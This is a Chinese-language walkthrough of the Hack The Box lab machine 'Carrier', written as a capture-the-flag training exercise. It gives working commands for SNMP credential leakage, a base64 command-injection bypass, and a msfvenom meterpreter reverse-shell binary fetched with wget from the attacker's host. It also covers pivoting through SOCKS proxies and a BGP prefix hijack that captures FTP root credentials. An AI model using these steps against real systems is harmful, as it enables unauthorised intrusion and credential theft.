内容简介:大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Carrier的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章,还望斧正。HTB的入坑,平台和网上都能简单的搜到,我就不在此赘述了,本人和朋友在HTB建立了团队以及交流群,如果有意参加,请联系我:Q_1147315521SNMP弱口令public泄露
前言
大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Carrier的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章,还望斧正。HTB的入坑,平台和网上都能简单的搜到,我就不在此赘述了,本人和朋友在HTB建立了团队以及交流群,如果有意参加,请联系我:Q_1147315521
本文涉及知识点:
SNMP弱口令public泄露
Python本地服务器搭建
命令执行绕过
MSF结合NMAP进行内网扫描
BGP前缀劫持
实战
Carrier靶机地址: https://www.hackthebox.eu/home/machines/profile/155
目标IP: 10.10.10.105(Linux)
本机IP: 10.10.14.3(Kali)
目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)
信息收集
NMAP端口扫描
首先使用NMAP对目标进行端口扫描,以确定下一步的操作:
nmap -sC -sV -oA Carrier 10.10.10.105 #通过默认脚本扫描获取版本并导出为文件
nmap -sU -sV -oA test 10.10.10.105 #通过udp扫描获取版本并导出为文件
得知21、80、161端口开放,且161端口SNMP共同体pulic开启
因为是靶机渗透,所以账号爆破的操作不被优先考虑。
对网页进行访问获取更多信息:
只有一个登陆框以及两个错误代码。
进行目录爆破:
获得/doc/文件下的
网络拓扑图:
以及网站系统错误代码文档:
得知:网站使用默认的用户名admin以及密码序列号,我们访问的网页处于AS100机器中,AS200有FTP服务,AS300进行FTP连接操作。
没有发现其他有用信息,接下来进行161端口的SNMP弱口令pulic的利用:
所需工具:snmpwalk
snmpwalk -v 1 -c public 10.10.10.105 # -v指定协议版本 -c 指定共同体字符串
获得密码NET_45JDX23
利用凭据登录
得知:10.120.15.0/24网段中存在FTP服务
可在diag.php页面进行命令执行。
获取USER权限
使用burpsuite对diag页面数据进行抓取
命令参数为check,为base64编码,解码为quagga 与页面显示结果符合。
直接将简单的 Linux 命令进行base64编码并代入参数,发现页面返回空白
测试最简单的命令绕过:
cXVhZ2dhIHwgbHM= #quagga | ls
执行成功可以看到user.txt已经躺着那里了,user.txt目标完成
获取ROOT权限
已知信息:
目前为root权限但并不是目标主机10.10.10.105的root,目前我们处于网络拓扑图中的AS100主机
为了更详细方便的获取信息,使用msfvenom生成elf文件进行反弹 shell 至msf上.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=3333 -f elf > shell.elf #使用linux/x86/meterpreter/reverse_tcp payload,将shell反弹至10.10.14.3的3333端口,生成之后使用 python 2中的SimpleHTTPServer模块进行快速搭建http服务
在命令执行的地方获取并执行:
wget http://10.10.14.3:8000/shell.elf
chmod 777 shell.elf
在本地msf监听3333端口:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 3333
在目标机执行./shell.elf
命令执行处较为麻烦就不进行截图了
成功获得反弹shell:
接下来需要对目标的网络环境进行详细查探:
添加路由:
use post/multi/manage/autoroute
set session 1
可以看到网络很复杂并且没有目标ip。
route中的ip将通过session 1进行访问
接下来设置SOCKS代理
use auxiliary/server/socks4a
set srvport 1090
run -j
成功设置后
我们将通过proxychains包 进行代理
apt-get install proxychains
未安装可使用以上命令进行安装
编辑/etc/proxychains.conf 进行配置
vi /etc/proxychains.conf
添加以下内容:
[ProxyList]
#add proxy here ...
#meanwile
#defaults set to "tor"
socks4 127.0.0.1 1090
配置成功,在终端运行proxychains [工具] 将使用代理运行。
proxychains nmap -sT -Pn 10.120.15.0/24 -p 21,22,23,25,80,443,445,3389,8000,8080
使用nmap扫描10.120.15网段中开启的关键端口
发现10.120.15.10开放FTP服务
未获取其他有效信息,现在查看之前已控制主机的网络
netstat -pantu
有bgp服务的2601端口开放,根据之前得到的信息,我们现在需要进行BGP劫持获得AS200(10.120.15.10) FTP尝试登陆的账号密码
思路:通过修改bgp路由欺骗AS200将数据传输至已控主机。
在已控主机中依次运行以下命令
路由伪造:
vtysh
config terminal
router bgp 100
network 10.120.15.0/32
end
exit
IP伪造:
ip address add 10.120.15.10/24 dev eth2
现在10.120.15.10已经将数据源源不断的传至已控主机
为了获得FTP登陆的数据,我们可在已控主机搭建FTP服务
使用以下FTP脚本:
代码较冗长,我已上传至Github:
https://github.com/b1ngda0/FtpServicePython/
运行后可以看到已经获取到账号root以及登陆密码
使用ssh进行登录
已经获取root权限以及root.txt
渗透完成!
个人感悟
文中的bgp劫持类似于arp欺骗,靶机环境为一个网关两台路由器,一台路由器连接一台服务器,服务器接收到消息后先找路由器,我们通过路由伪造,使两台路由器地址一样,又进行了IP伪造,使IP离AS200近,于是AS200将数据传输至已控主机,此时我们使用ftp脚本获取或者进行tcpdump抓包就可以获取数据。
文献参考
snmap弱口令:
https://blog.csdn.net/archersaber39/article/details/78932252
msf代理设置nmap扫描:
https://blog.csdn.net/h4ck0ne/article/details/50570749
http://www.blackhillsinfosec.com/use-nmap-meterpreter
bgp劫持:
https://en.wikipedia.org/wiki/BGP_hijacking
https://www.isi.deterlab.net/file.php?file=/share/shared/BGPhijacking
https://github.com/mininet/mininet/wiki/BGP-Path-Hijacking-Attack-Demo
http://cs.slu.edu/~espositof/teaching/4650/lab3/以上所述就是小编给大家介绍的《HTB靶机渗透实战——Carrier》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Coming of Age in Second Life
Tom Boellstorff / Princeton University Press / 2008-04-21 / USD 29.95
The gap between the virtual and the physical, and its effect on the ideas of personhood and relationships, is the most interesting aspect of Boellstorff's analysis... Boellstorff's portrayal of a virt......一起来看看 《Coming of Age in Second Life》 这本书的介绍吧!